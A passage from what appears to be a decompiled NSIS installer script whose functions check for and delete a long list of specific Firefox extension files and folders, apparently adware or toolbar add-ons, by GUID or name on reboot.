$_59_\extensions\{b1a2d338-2080-4636-baf3-e017ee7e4605}.xpi 0 label_8540 Delete /REBOOTOK $_59_\extensions\{b1a2d338-2080-4636-baf3-e017ee7e4605}.xpi label_8540: IfFileExists $_59_\extensions\toolbar11431@eshield.com.xpi 0 label_8542 Delete /REBOOTOK $_59_\extensions\toolbar11431@eshield.com.xpi label_8542: IfFileExists $_59_\extensions\{85788c43-d871-40cf-9365-686173d382bb}.xpi 0 label_8544 Delete /REBOOTOK $_59_\extensions\{85788c43-d871-40cf-9365-686173d382bb}.xpi label_8544: FunctionEnd Function func_8545 IfFileExists $_59_\extensions\toolbar11433@eshield.com.xpi 0 label_8547 Delete /REBOOTOK $_59_\extensions\toolbar11433@eshield.com.xpi label_8547: IfFileExists $_59_\extensions\{602b1e7a-d085-42c0-aa31-42f2f8e76963}.xpi 0 label_8549 Delete /REBOOTOK $_59_\extensions\{602b1e7a-d085-42c0-aa31-42f2f8e76963}.xpi label_8549: IfFileExists $_59_\extensions\{00b18ee4-769a-4f0a-847e-4bf44544e2bd}.xpi 0 label_8551 Delete /REBOOTOK $_59_\extensions\{00b18ee4-769a-4f0a-847e-4bf44544e2bd}.xpi label_8551: IfFileExists $_59_\extensions\{0852afcc-4115-420d-937a-41c379b83c30}.xpi 0 label_8553 Delete /REBOOTOK $_59_\extensions\{0852afcc-4115-420d-937a-41c379b83c30}.xpi label_8553: IfFileExists $_59_\extensions\{c93a1548-a04b-4bdc-af0d-74ef21894a9d}.xpi 0 label_8555 Delete /REBOOTOK $_59_\extensions\{c93a1548-a04b-4bdc-af0d-74ef21894a9d}.xpi label_8555: IfFileExists $_59_\extensions\{d4f9670c-be29-47e4-97d9-40a89cf7c7ba}.xpi 0 label_8557 Delete /REBOOTOK $_59_\extensions\{d4f9670c-be29-47e4-97d9-40a89cf7c7ba}.xpi label_8557: IfFileExists $_59_\extensions\{e2590817-40ca-4d03-8e1f-67fd8517bae9}.xpi 0 label_8559 Delete /REBOOTOK $_59_\extensions\{e2590817-40ca-4d03-8e1f-67fd8517bae9}.xpi label_8559: IfFileExists $_59_\extensions\{ff3f1ffa-691d-45c1-8847-4f0666b522a5}.xpi 0 label_8561 Delete /REBOOTOK $_59_\extensions\{ff3f1ffa-691d-45c1-8847-4f0666b522a5}.xpi label_8561: IfFileExists $_59_\extensions\{999dfb75-830f-4be2-adf1-8e98cb386aa5}.xpi 0 label_8563 Delete /REBOOTOK $_59_\extensions\{999dfb75-830f-4be2-adf1-8e98cb386aa5}.xpi label_8563: IfFileExists $_59_\extensions\{b58505c7-02e9-4a25-9eba-0f03f1c1ec2a}.xpi 0 label_8565 Delete /REBOOTOK $_59_\extensions\{b58505c7-02e9-4a25-9eba-0f03f1c1ec2a}.xpi label_8565: IfFileExists $_59_\extensions\{3f1219df-4a4d-40a3-9537-f2a95f4016b3}.xpi 0 label_8567 Delete /REBOOTOK $_59_\extensions\{3f1219df-4a4d-40a3-9537-f2a95f4016b3}.xpi label_8567: IfFileExists $_59_\extensions\{4af0b841-8486-4b10-969f-dd4745d23017}.xpi 0 label_8569 Delete /REBOOTOK $_59_\extensions\{4af0b841-8486-4b10-969f-dd4745d23017}.xpi label_8569: IfFileExists $_59_\extensions\{4ba4fb82-09fc-473f-afa8-c0682b26e138}.xpi 0 label_8571 Delete /REBOOTOK $_59_\extensions\{4ba4fb82-09fc-473f-afa8-c0682b26e138}.xpi label_8571: IfFileExists $_59_\extensions\{1222ed7c-bb00-43af-bdee-81a79d198022}.xpi 0 label_8573 Delete /REBOOTOK $_59_\extensions\{1222ed7c-bb00-43af-bdee-81a79d198022}.xpi label_8573: IfFileExists $_59_\extensions\{6dd55e9a-3d06-4d70-b5e7-05fc3e0a3d66}.xpi 0 label_8575 Delete /REBOOTOK $_59_\extensions\{6dd55e9a-3d06-4d70-b5e7-05fc3e0a3d66}.xpi label_8575: IfFileExists $_59_\extensions\{6de8af61-d3e1-44f9-aabe-d613768ef1b6}.xpi 0 label_8577 Delete /REBOOTOK $_59_\extensions\{6de8af61-d3e1-44f9-aabe-d613768ef1b6}.xpi label_8577: IfFileExists $_59_\extensions\{cc936201-ac67-45ee-af8f-e121e4b8d68c}.xpi 0 label_8579 Delete /REBOOTOK $_59_\extensions\{cc936201-ac67-45ee-af8f-e121e4b8d68c}.xpi label_8579: IfFileExists $_59_\extensions\{1735453c-d54e-49bc-8674-b048d986ab0c}.xpi 0 label_8581 Delete /REBOOTOK $_59_\extensions\{1735453c-d54e-49bc-8674-b048d986ab0c}.xpi label_8581: IfFileExists $_59_\extensions\{b4bda04c-8245-406b-8fcf-5c3dbe99465f}.xpi 0 label_8583 Delete /REBOOTOK $_59_\extensions\{b4bda04c-8245-406b-8fcf-5c3dbe99465f}.xpi label_8583: IfFileExists $_59_\extensions\{b514190c-17bf-4b34-a6e6-c02e0de19089}.xpi 0 label_8585 Delete /REBOOTOK $_59_\extensions\{b514190c-17bf-4b34-a6e6-c02e0de19089}.xpi label_8585: IfFileExists $_59_\extensions\{57e43d23-8d3b-4b8e-8db3-ab1ea2cb82ad}.xpi 0 label_8587 Delete /REBOOTOK $_59_\extensions\{57e43d23-8d3b-4b8e-8db3-ab1ea2cb82ad}.xpi label_8587: IfFileExists $_59_\extensions\{1e2b528d-3643-46e1-bb59-560c20fe1d2b}.xpi 0 label_8589 Delete /REBOOTOK $_59_\extensions\{1e2b528d-3643-46e1-bb59-560c20fe1d2b}.xpi label_8589: IfFileExists $_59_\extensions\{6078c10f-b611-49db-8c42-7befb24f31c4}.xpi 0 label_8591 Delete /REBOOTOK $_59_\extensions\{6078c10f-b611-49db-8c42-7befb24f31c4}.xpi label_8591: IfFileExists $_59_\extensions\{0929d980-d609-4ab0-8543-d3f1531c4b30}.xpi 0 label_8593 Delete /REBOOTOK $_59_\extensions\{0929d980-d609-4ab0-8543-d3f1531c4b30}.xpi label_8593: IfFileExists $_59_\extensions\{20c39fcc-3b06-4ab3-bfa5-29678e44335d}.xpi 0 label_8595 Delete /REBOOTOK $_59_\extensions\{20c39fcc-3b06-4ab3-bfa5-29678e44335d}.xpi label_8595: IfFileExists $_59_\extensions\{91015032-1894-4629-8d9b-c0ab86b04ece}.xpi 0 label_8597 Delete /REBOOTOK $_59_\extensions\{91015032-1894-4629-8d9b-c0ab86b04ece}.xpi label_8597: IfFileExists $_59_\extensions\{36ed28a4-ac0a-4653-91ff-10beb4246550}.xpi 0 label_8599 Delete /REBOOTOK $_59_\extensions\{36ed28a4-ac0a-4653-91ff-10beb4246550}.xpi label_8599: IfFileExists $_59_\extensions\admin@netfilter.pro 0 label_8601 RMDir /r /REBOOTOK $_59_\extensions\admin@netfilter.pro label_8601: IfFileExists $_59_\extensions\ffddf830-f24b-489e-9e90-a42d11893b1c@gmail.com 0 label_8603 RMDir /r /REBOOTOK $_59_\extensions\ffddf830-f24b-489e-9e90-a42d11893b1c@gmail.com label_8603: IfFileExists $_59_\extensions\{123b2220-59cb-11db-b0de-0800200c9a66} 0 label_8605 RMDir /r /REBOOTOK $_59_\extensions\{123b2220-59cb-11db-b0de-0800200c9a66} label_8605: IfFileExists $_59_\extensions\{80249d94-cb27-4919-8ae8-70c3a10ec453}.xpi 0 label_8607 Delete /REBOOTOK $_59_\extensions\{80249d94-cb27-4919-8ae8-70c3a10ec453}.xpi label_8607: IfFileExists $_59_\extensions\{f154f87c-804f-402f-a8fb-1a23fcc1d768}.xpi 0 label_8609 Delete /REBOOTOK $_59_\extensions\{f154f87c-804f-402f-a8fb-1a23fcc1d768}.xpi label_8609: IfFileExists $_59_\extensions\{6cd409f4-25b8-4703-a867-87df6c4d5ef3}.xpi 0 label_8611 Delete /REBOOTOK $_59_\extensions\{6cd409f4-25b8-4703-a867-87df6c4d5ef3}.xpi label_8611: IfFileExists $_59_\extensions\{a269907e-3a5f-437b-9e10-23056c18f9f6}.xpi 0 label_8613 Delete /REBOOTOK $_59_\extensions\{a269907e-3a5f-437b-9e10-23056c18f9f6}.xpi label_8613: IfFileExists $_59_\extensions\{63880cd8-b863-4288-8dca-48d12661d7dd}.xpi 0 label_8615 Delete /REBOOTOK $_59_\extensions\{63880cd8-b863-4288-8dca-48d12661d7dd}.xpi label_8615: IfFileExists $_59_\extensions\{1ce57ad7-db06-45ad-85f3-b335f521eecb}.xpi 0 label_8617 Delete /REBOOTOK $_59_\extensions\{1ce57ad7-db06-45ad-85f3-b335f521eecb}.xpi label_8617: IfFileExists $_59_\extensions\{762f0906-f55a-470b-8a55-db5137bad752}.xpi 0 label_8619 Delete /REBOOTOK $_59_\extensions\{762f0906-f55a-470b-8a55-db5137bad752}.xpi label_8619: IfFileExists $_59_\extensions\{1d40ce48-051f-4f0d-9a35-23c77bf9087f}.xpi 0 label_8621 Delete /REBOOTOK $_59_\extensions\{1d40ce48-051f-4f0d-9a35-23c77bf9087f}.xpi label_8621: IfFileExists $_59_\extensions\{a1469707-fecc-4e6d-be13-e11acacabc84}.xpi 0 label_8623 Delete /REBOOTOK $_59_\extensions\{a1469707-fecc-4e6d-be13-e11acacabc84}.xpi label_8623: IfFileExists $_59_\extensions\{fc06141f-0e27-4c84-a858-15e0857e2213}.xpi 0 label_8625 Delete /REBOOTOK $_59_\extensions\{fc06141f-0e27-4c84-a858-15e0857e2213}.xpi label_8625: IfFileExists $_59_\extensions\{6cc7b257-bb54-4f3f-828e-06e90d802dc5}.xpi 0 label_8627 Delete /REBOOTOK $_59_\extensions\{6cc7b257-bb54-4f3f-828e-06e90d802dc5}.xpi label_8627: IfFileExists $_59_\extensions\{21181538-7fbb-4069-b287-194adafdb095}.xpi 0 label_8629 Delete /REBOOTOK $_59_\extensions\{21181538-7fbb-4069-b287-194adafdb095}.xpi label_8629: IfFileExists $_59_\extensions\{32f197f9-63ca-4014-aac0-2e905e2a155b}.xpi 0 label_8631 Delete /REBOOTOK $_59_\extensions\{32f197f9-63ca-4014-aac0-2e905e2a155b}.xpi label_8631: IfFileExists $_59_\extensions\{f4081f35-651c-4c81-8bd3-287b1fd40f32}.xpi 0 label_8633 Delete /REBOOTOK $_59_\extensions\{f4081f35-651c-4c81-8bd3-287b1fd40f32}.xpi label_8633: IfFileExists $_59_\extensions\{5ea9bc09-06aa-4821-8b4e-79736ad4c731}.xpi 0 label_8635 Delete /REBOOTOK $_59_\extensions\{5ea9bc09-06aa-4821-8b4e-79736ad4c731}.xpi label_8635: IfFileExists $_59_\extensions\{42f8f729-2fa8-44bb-b01a-28c57a8162c7}.xpi 0 label_8637 Delete /REBOOTOK $_59_\extensions\{42f8f729-2fa8-44bb-b01a-28c57a8162c7}.xpi label_8637: IfFileExists $_59_\extensions\{d1b24110-ff8f-46b1-9312-0f9e2783ae7e}.xpi 0 label_8639 Delete /REBOOTOK $_59_\extensions\{d1b24110-ff8f-46b1-9312-0f9e2783ae7e}.xpi label_8639: IfFileExists $_59_\extensions\DXYYH4339170@JXVPYKS65865478.com 0 label_8641 RMDir /r /REBOOTOK $_59_\extensions\DXYYH4339170@JXVPYKS65865478.com label_8641: IfFileExists $_59_\extensions\{85359a6f-592d-4c5e-9556-24a2249d7756}.xpi 0 label_8643 Delete /REBOOTOK $_59_\extensions\{85359a6f-592d-4c5e-9556-24a2249d7756}.xpi label_8643: FunctionEnd Function func_8644 IfFileExists $_59_\extensions\{0d68400f-30b4-459a-94ed-bd57e329ed5d}.xpi 0 label_8646 Delete /REBOOTOK $_59_\extensions\{0d68400f-30b4-459a-94ed-bd57e329ed5d}.xpi label_8646: IfFileExists $_59_\extensions\{2876f045-5de3-4e77-bdb3-05cf9328a0d2}.xpi 0 label_8648 Delete /REBOOTOK $_59_\extensions\{2876f045-5de3-4e77-bdb3-05cf9328a0d2}.xpi label_8648: IfFileExists $_59_\extensions\{ee61cba1-8ca8-4c05-a509-a4d161ec9384}.xpi 0 label_8650 Delete /REBOOTOK $_59_\extensions\{ee61cba1-8ca8-4c05-a509-a4d161ec9384}.xpi label_8650: IfFileExists $_59_\extensions\{ec09e36d-a9f1-4f4f-a511-28b7d187ae57}.xpi 0 label_8652 Delete /REBOOTOK $_59_\extensions\{ec09e36d-a9f1-4f4f-a511-28b7d187ae57}.xpi label_8652: IfFileExists $_59_\extensions\{03b6ab51-b177-4492-96c1-468f7b14362e}.xpi 0 label_8654 Delete /REBOOTOK $_59_\extensions\{03b6ab51-b177-4492-96c1-468f7b14362e}.xpi label_8654: IfFileExists $_59_\extensions\{c34eeaf7-ee8f-4174-92f5-03998d76c469}.xpi 0 label_8656 Delete /REBOOTOK $_59_\extensions\{c34eeaf7-ee8f-4174-92f5-03998d76c469}.xpi label_8656: IfFileExists $_59_\extensions\{4cb996ec-2d7a-4651-9e3e-5c83eb4b64d1}.xpi 0 label_8658 Delete /REBOOTOK $_59_\extensions\{4cb996ec-2d7a-4651-9e3e-5c83eb4b64d1}.xpi label_8658: IfFileExists $_59_\extensions\{9d99ecb0-daaf-4f95-98a0-605b1758ccea}.xpi 0 label_8660 Delete /REBOOTOK $_59_\extensions\{9d99ecb0-daaf-4f95-98a0-605b1758ccea}.xpi label_8660: IfFileExists $_59_\extensions\{913d2ed3-4e23-413f-bdab-195da83ca204}.xpi 0 label_8662 Delete /REBOOTOK $_59_\extensions\{913d2ed3-4e23-413f-bdab-195da83ca204}.xpi label_8662: IfFileExists $_59_\extensions\{8a41cfe2-3810-44a8-a83f-c58ba68c0bd4}.xpi 0 label_8664 Delete /REBOOTOK $_59_\extensions\{8a41cfe2-3810-44a8-a83f-c58ba68c0bd4}.xpi label_8664: IfFileExists $_59_\extensions\{87e69265-1805-4a58-8d62-9ff511b55610}.xpi 0 label_8666 Delete /REBOOTOK $_59_\extensions\{87e69265-1805-4a58-8d62-9ff511b55610}.xpi label_8666: IfFileExists $_59_\extensions\{f85d4c65-1154-4082-9efb-b8b116fc3795}.xpi 0 label_8668 Delete /REBOOTOK $_59_\extensions\{f85d4c65-1154-4082-9efb-b8b116fc3795}.xpi label_8668: IfFileExists $_59_\extensions\{54e61b77-49c4-4135-8142-1407eb4ac276}.xpi 0 label_8670 Delete /REBOOTOK $_59_\extensions\{54e61b77-49c4-4135-8142-1407eb4ac276}.xpi label_8670: IfFileExists $_59_\extensions\{fc8b8f59-40b3-4d9e-b737-f5021644a463}.xpi 0 label_8672 Delete /REBOOTOK $_59_\extensions\{fc8b8f59-40b3-4d9e-b737-f5021644a463}.xpi label_8672: IfFileExists $_59_\extensions\60aee250-a09b-4f12-85fc-76ad45f3883b@gmail.com 0 label_8674 RMDir /r /REBOOTOK $_59_\extensions\60aee250-a09b-4f12-85fc-76ad45f3883b@gmail.com label_8674: IfFileExists $_59_\extensions\{2f0f17e3-2288-4b9c-962a-4ea1649829b5}.xpi 0 label_8676 Delete /REBOOTOK $_59_\extensions\{2f0f17e3-2288-4b9c-962a-4ea1649829b5}.xpi label_8676: IfFileExists $_59_\extensions\{0d48e6a1-d020-4019-98e5-bcd55fbb05d2}.xpi 0 label_8678 Delete /REBOOTOK $_59_\extensions\{0d48e6a1-d020-4019-98e5-bcd55fbb05d2}.xpi label_8678: IfFileExists $_59_\extensions\{13c6321e-7ad2-4a5c-a949-9f0621947c74}.xpi 0 label_8680 Delete /REBOOTOK $_59_\extensions\{13c6321e-7ad2-4a5c-a949-9f0621947c74}.xpi label_8680: IfFileExists $_59_\extensions\*findwide.com.xpi 0 label_8682 Delete /REBOOTOK $_59_\extensions\*findwide.com.xpi label_8682: IfFileExists $_59_\extensions\{a1199239-596c-4c27-bf36-f28687b537c9}.xpi 0 label_8684 Delete /REBOOTOK $_59_\extensions\{a1199239-596c-4c27-bf36-f28687b537c9}.xpi label_8684: IfFileExists $_59_\extensions\{4c12e85e-ecff-4f9b-b0b4-a94418f3e761}.xpi 0 label_8686 Delete /REBOOTOK $_59_\extensions\{4c12e85e-ecff-4f9b-b0b4-a94418f3e761}.xpi label_8686: IfFileExists $_59_\extensions\{5a6ea252-2886-493b-a049-8a440a4b790b}.xpi 0 label_8688 Delete /REBOOTOK $_59_\extensions\{5a6ea252-2886-493b-a049-8a440a4b790b}.xpi label_8688: IfFileExists $_59_\extensions\{0b297dd1-43f4-45a0-b4b7-d9fb1f0da097}.xpi 0 label_8690 Delete /REBOOTOK $_59_\extensions\{0b297dd1-43f4-45a0-b4b7-d9fb1f0da097}.xpi label_8690: IfFileExists $_59_\extensions\{d2c04f0d-d0b8-4e7c-acc4-a22ec46c802b}.xpi 0 label_8692 Delete /REBOOTOK $_59_\extensions\{d2c04f0d-d0b8-4e7c-acc4-a22ec46c802b}.xpi label_8692: IfFileExists $_59_\extensions\{c57599e1-597d-4396-872f-6d1cf108a5de}.xpi 0 label_8694 Delete /REBOOTOK $_59_\extensions\{c57599e1-597d-4396-872f-6d1cf108a5de}.xpi label_8694: IfFileExists $_59_\extensions\{9c87de74-a53e-482a-ae83-0cd43d2f20ef}.xpi 0 label_8696 Delete /REBOOTOK $_59_\extensions\{9c87de74-a53e-482a-ae83-0cd43d2f20ef}.xpi label_8696: IfFileExists $_59_\extensions\{fd88ed86-7c0b-410c-8c91-2e7f41bcdfa3}.xpi 0 label_8698 Delete /REBOOTOK $_59_\extensions\{fd88ed86-7c0b-410c-8c91-2e7f41bcdfa3}.xpi label_8698: IfFileExists $_59_\extensions\{4e4e0b18-68b4-44ac-a4f7-48001b39d827}.xpi 0 label_8700 Delete /REBOOTOK $_59_\extensions\{4e4e0b18-68b4-44ac-a4f7-48001b39d827}.xpi label_8700: IfFileExists $_59_\extensions\{72a94386-d7dd-4032-86b6-e013e104f0ab}.xpi 0 label_8702 Delete /REBOOTOK $_59_\extensions\{72a94386-d7dd-4032-86b6-e013e104f0ab}.xpi label_8702: IfFileExists $_59_\extensions\{a37f329e-23c2-45ef-bf9b-54b45cd32b31}.xpi 0 label_8704 Delete /REBOOTOK $_59_\extensions\{a37f329e-23c2-45ef-bf9b-54b45cd32b31}.xpi label_8704: IfFileExists $_59_\extensions\{c6d5baef-cc32-4da9-98d0-44f4212faf25}.xpi 0 label_8706 Delete /REBOOTOK $_59_\extensions\{c6d5baef-cc32-4da9-98d0-44f4212faf25}.xpi label_8706: IfFileExists $_59_\extensions\{ffa87353-6cf3-4b72-b9f6-b46952ba0258}.xpi 0 label_8708 Delete /REBOOTOK $_59_\extensions\{ffa87353-6cf3-4b72-b9f6-b46952ba0258}.xpi label_8708: IfFileExists $_59_\extensions\{3d7c9664-2383-4572-b93a-52f0d08ee5e6}.xpi 0 label_8710 Delete /REBOOTOK $_59_\extensions\{3d7c9664-2383-4572-b93a-52f0d08ee5e6}.xpi label_8710: IfFileExists $_59_\extensions\{3efba43e-e18f-4e96-a239-8ca508512068}.xpi 0 label_8712 Delete /REBOOTOK $_59_\extensions\{3efba43e-e18f-4e96-a239-8ca508512068}.xpi label_8712: IfFileExists $_59_\extensions\{e17ad92d-cfad-42be-8db2-4ed682cc424b}.xpi 0 label_8714 Delete /REBOOTOK $_59_\extensions\{e17ad92d-cfad-42be-8db2-4ed682cc424b}.xpi label_8714: IfFileExists $_59_\extensions\{4b2c4845-18eb-48ad-8bc9-e3dea8079924}.xpi 0 label_8716 Delete /REBOOTOK $_59_\extensions\{4b2c4845-18eb-48ad-8bc9-e3dea8079924}.xpi label_8716: IfFileExists $_59_\extensions\{2f61a2c5-2b4e-4bbb-9404-ac844dd71d03}.xpi 0 label_8718 Delete /REBOOTOK $_59_\extensions\{2f61a2c5-2b4e-4bbb-9404-ac844dd71d03}.xpi label_8718: IfFileExists $_59_\extensions\{1f638105-cfb3-40f7-ba3f-34530f574cf6}.xpi 0 label_8720 Delete /REBOOTOK $_59_\extensions\{1f638105-cfb3-40f7-ba3f-34530f574cf6}.xpi label_8720: IfFileExists $_59_\extensions\{621b949b-df4c-4be6-99ce-72ca3c909971}.xpi 0 label_8722 Delete /REBOOTOK $_59_\extensions\{621b949b-df4c-4be6-99ce-72ca3c909971}.xpi label_8722: IfFileExists $_59_\extensions\{abd24c81-a6f3-4092-82a2-bbebfc21a3f6}.xpi 0 label_8724 Delete /REBOOTOK $_59_\extensions\{abd24c81-a6f3-4092-82a2-bbebfc21a3f6}.xpi label_8724: IfFileExists $_59_\extensions\{b5e6b9c9-cc4f-4845-a12b-35d90caf7163}.xpi 0 label_8726 Delete /REBOOTOK $_59_\extensions\{b5e6b9c9-cc4f-4845-a12b-35d90caf7163}.xpi label_8726: IfFileExists $_59_\extensions\firefox@www.videosonstage.com.xpi 0 label_8728 Delete /REBOOTOK $_59_\extensions\firefox@www.videosonstage.com.xpi label_8728: IfFileExists $_59_\extensions\{29690076-bf0e-4c48-873c-c0813b99959a}.xpi 0 label_8730 Delete /REBOOTOK $_59_\extensions\{29690076-bf0e-4c48-873c-c0813b99959a}.xpi label_8730: IfFileExists $_59_\extensions\{a49060ed-0910-4604-9107-f53dbf36e4e9}.xpi 0 label_8732 Delete /REBOOTOK $_59_\extensions\{a49060ed-0910-4604-9107-f53dbf36e4e9}.xpi label_8732: IfFileExists $_59_\extensions\{16019b30-3b17-4628-9c7d-d15e79370054}.xpi 0 label_8734 Delete /REBOOTOK $_59_\extensions\{16019b30-3b17-4628-9c7d-d15e79370054}.xpi label_8734: IfFileExists $_59_\extensions\{a2e82ae1-2091-454c-aac9-49113691b4df}.xpi 0 label_8736 Delete /REBOOTOK $_59_\extensions\{a2e82ae1-2091-454c-aac9-49113691b4df}.xpi label_8736: IfFileExists $_59_\extensions\{bc11b76b-a405-47da-8c51-cd0fe84f9963}.xpi 0 label_8738 Delete /REBOOTOK $_59_\extensions\{bc11b76b-a405-47da-8c51-cd0fe84f9963}.xpi label_8738: IfFileExists $_59_\extensions\{4d5a242b-ea97-4224-9f4e-8628db29d43b}.xpi 0 label_8740 Delete /REBOOTOK $_59_\extensions\{4d5a242b-ea97-4224-9f4e-8628db29d43b}.xpi label_8740: IfFileExists $_59_\extensions\{65b93ad0-c159-4c03-b11b-428fc5cebbab}.xpi 0 label_8742 Delete /REBOOTOK $_59_\extensions\{65b93ad0-c159-4c03-b11b-428fc5cebbab}.xpi label_8742: FunctionEnd Function func_8743 IfFileExists $_59_\extensions\{b24210ba-dfd7-42e5-acb8-85a34a68236b}.xpi 0 label_8745 Delete /REBOOTOK $_59_\extensions\{b24210ba-dfd7-42e5-acb8-85a34a68236b}.xpi label_8745: IfFileExists $_59_\extensions\{933813e3-cdfa-4297-b862-f2446b7033ed}.xpi 0 label_8747 Delete /REBOOTOK $_59_\extensions\{933813e3-cdfa-4297-b862-f2446b7033ed}.xpi label_8747: IfFileExists $_59_\extensions\{1fb2e019-cd58-4734-85e5-112770b75f14}.xpi 0 label_8749 Delete /REBOOTOK $_59_\extensions\{1fb2e019-cd58-4734-85e5-112770b75f14}.xpi label_8749: IfFileExists $_59_\extensions\{699bd245-8d10-4e76-8ffa-df6cfdf0e2bc}.xpi 0 label_8751 Delete /REBOOTOK $_59_\extensions\{699bd245-8d10-4e76-8ffa-df6cfdf0e2bc}.xpi label_8751: IfFileExists $_59_\extensions\{199dff8e-7f78-4986-9d58-90f203dc8448}.xpi 0 label_8753 Delete /REBOOTOK $_59_\extensions\{199dff8e-7f78-4986-9d58-90f203dc8448}.xpi label_8753: IfFileExists $_59_\extensions\{1dc94cfd-338a-4651-a0db-2dac98719436}.xpi 0 label_8755 Delete /REBOOTOK $_59_\extensions\{1dc94cfd-338a-4651-a0db-2dac98719436}.xpi label_8755: IfFileExists $_59_\extensions\{148536ab-cfd5-44fa-96ea-4d6057a13605}.xpi 0 label_8757 Delete /REBOOTOK $_59_\extensions\{148536ab-cfd5-44fa-96ea-4d6057a13605}.xpi label_8757: IfFileExists $_59_\extensions\{1e1222fc-eaae-4b38-a61f-f3a1610c18ed}.xpi 0 label_8759 Delete /REBOOTOK $_59_\extensions\{1e1222fc-eaae-4b38-a61f-f3a1610c18ed}.xpi label_8759: IfFileExists $_59_\extensions\{8728815d-e436-45ad-8fc6-20727110a911}.xpi 0 label_8761 Delete /REBOOTOK $_59_\extensions\{8728815d-e436-45ad-8fc6-20727110a911}.xpi label_8761: IfFileExists $_59_\extensions\{be5f898e-7acd-49b7-85ac-217b878a86f3}.xpi 0 label_8763 Delete /REBOOTOK $_59_\extensions\{be5f898e-7acd-49b7-85ac-217b878a86f3}.xpi label_8763: IfFileExists $_59_\extensions\{afd2b735-d175-406e-8895-33e5e5731b34}.xpi 0 label_8765 Delete /REBOOTOK $_59_\extensions\{afd2b735-d175-406e-8895-33e5e5731b34}.xpi label_8765: IfFileExists $_59_\extensions\{9d6b6ae5-a298-4fcf-8f88-d262755fabfd}.xpi 0 label_8767 Delete /REBOOTOK $_59_\extensions\{9d6b6ae5-a298-4fcf-8f88-d262755fabfd}.xpi label_8767: IfFileExists $_59_\extensions\{b7a43079-6d56-4ff7-94e7-61224ecd466e}.xpi 0 label_8769 Delete /REBOOTOK $_59_\extensions\{b7a43079-6d56-4ff7-94e7-61224ecd466e}.xpi label_8769: IfFileExists $_59_\extensions\{c980daa9-620d-ebbe-5a9d-1e5145bc671f} 0 label_8771 RMDir /r /REBOOTOK $_59_\extensions\{c980daa9-620d-ebbe-5a9d-1e5145bc671f} label_8771: IfFileExists $_59_\extensions\{31ea5304-ce31-468b-93b6-f9da54d8845b}.xpi 0 label_8773 Delete /REBOOTOK $_59_\extensions\{31ea5304-ce31-468b-93b6-f9da54d8845b}.xpi label_8773: IfFileExists $_59_\extensions\{554a5089-0529-4705-b0f5-10754c41df99}.xpi 0 label_8775 Delete /REBOOTOK $_59_\extensions\{554a5089-0529-4705-b0f5-10754c41df99}.xpi label_8775: IfFileExists $_59_\extensions\{fb12e022-b252-4314-b701-fdcd4ea1ae6b}.xpi 0 label_8777 Delete /REBOOTOK $_59_\extensions\{fb12e022-b252-4314-b701-fdcd4ea1ae6b}.xpi label_8777: IfFileExists $_59_\extensions\{671bbc47-669f-4ff9-9583-a546ed22abda}.xpi 0 label_8779 Delete /REBOOTOK $_59_\extensions\{671bbc47-669f-4ff9-9583-a546ed22abda}.xpi label_8779: IfFileExists $_59_\extensions\{9cda4d98-9b41-4295-862a-169083f8869c}.xpi 0 label_8781 Delete /REBOOTOK $_59_\extensions\{9cda4d98-9b41-4295-862a-169083f8869c}.xpi label_8781: IfFileExists $_59_\extensions\{fa1b1dca-f14d-44f8-b096-43de88243cf4}.xpi 0 label_8783 Delete /REBOOTOK $_59_\extensions\{fa1b1dca-f14d-44f8-b096-43de88243cf4}.xpi label_8783: IfFileExists $_59_\extensions\d9676068985d4d81bb390a@7be93ab3c8e144f694a0509d5.com 0 label_8785 RMDir /r /REBOOTOK $_59_\extensions\d9676068985d4d81bb390a@7be93ab3c8e144f694a0509d5.com label_8785: IfFileExists $_59_\extensions\{4f0e5fbd-22db-4514-b224-98fb1a61b808}.xpi 0 label_8787 Delete /REBOOTOK $_59_\extensions\{4f0e5fbd-22db-4514-b224-98fb1a61b808}.xpi label_8787: IfFileExists $_59_\extensions\{e07a7836-e7fe-454c-ae5c-dd26a3d66e6d}.xpi 0 label_8789 Delete /REBOOTOK $_59_\extensions\{e07a7836-e7fe-454c-ae5c-dd26a3d66e6d}.xpi label_8789: IfFileExists $_59_\extensions\{38fd551c-0136-4099-90fb-c03affe02d56}.xpi 0 label_8791 Delete /REBOOTOK $_59_\extensions\{38fd551c-0136-4099-90fb-c03affe02d56}.xpi label_8791: IfFileExists $_59_\extensions\{c5bd066e-8a2a-4511-9e57-f836ad30bc02}.xpi 0 label_8793 Delete /REBOOTOK $_59_\extensions\{c5bd066e-8a2a-4511-9e57-f836ad30bc02}.xpi label_8793: IfFileExists $_59_\extensions\avdownloader-sk34@sk-sdk.com.xpi 0 label_8795 Delete /REBOOTOK $_59_\extensions\avdownloader-sk34@sk-sdk.com.xpi label_8795: IfFileExists $_59_\extensions\{C8ED0482-A99E-450E-B0B1-637B63E37697}.xpi 0 label_8797 Delete /REBOOTOK $_59_\extensions\{C8ED0482-A99E-450E-B0B1-637B63E37697}.xpi label_8797: IfFileExists $_59_\extensions\{783c91fd-c0e8-4513-9211-6902bd51a62e}.xpi 0 label_8799 Delete /REBOOTOK $_59_\extensions\{783c91fd-c0e8-4513-9211-6902bd51a62e}.xpi label_8799: IfFileExists $_59_\extensions\{da2254ac-493b-4b56-ba5b-6d6e7647f04d}.xpi 0 label_8801 Delete /REBOOTOK $_59_\extensions\{da2254ac-493b-4b56-ba5b-6d6e7647f04d}.xpi label_8801: IfFileExists $_59_\extensions\{c2fe7f89-d209-4f77-81e0-2417130ee876}.xpi 0 label_8803 Delete /REBOOTOK $_59_\extensions\{c2fe7f89-d209-4f77-81e0-2417130ee876}.xpi label_8803: IfFileExists $_59_\extensions\{dcb4aaf2-d3f4-47f4-899d-f9ca662df9db}.xpi 0 label_8805 Delete /REBOOTOK $_59_\extensions\{dcb4aaf2-d3f4-47f4-899d-f9ca662df9db}.xpi label_8805: IfFileExists $_59_\extensions\{fd4f1dbd-76e9-423d-b17a-b864fd6a3a1e}.xpi 0 label_8807 Delete /REBOOTOK $_59_\extensions\{fd4f1dbd-76e9-423d-b17a-b864fd6a3a1e}.xpi label_8807: IfFileExists $_59_\extensions\{2579d5f7-e83b-4575-b6a9-e2e70d7951ef}.xpi 0 label_8809 Delete /REBOOTOK $_59_\extensions\{2579d5f7-e83b-4575-b6a9-e2e70d7951ef}.xpi label_8809: IfFileExists $_59_\extensions\{2628dfb5-5bfc-460b-8683-9faa4f4a86b7}.xpi 0 label_8811 Delete /REBOOTOK $_59_\extensions\{2628dfb5-5bfc-460b-8683-9faa4f4a86b7}.xpi label_8811: IfFileExists $_59_\extensions\{159b6291-3313-443c-a196-2400a75839e8}.xpi 0 label_8813 Delete /REBOOTOK 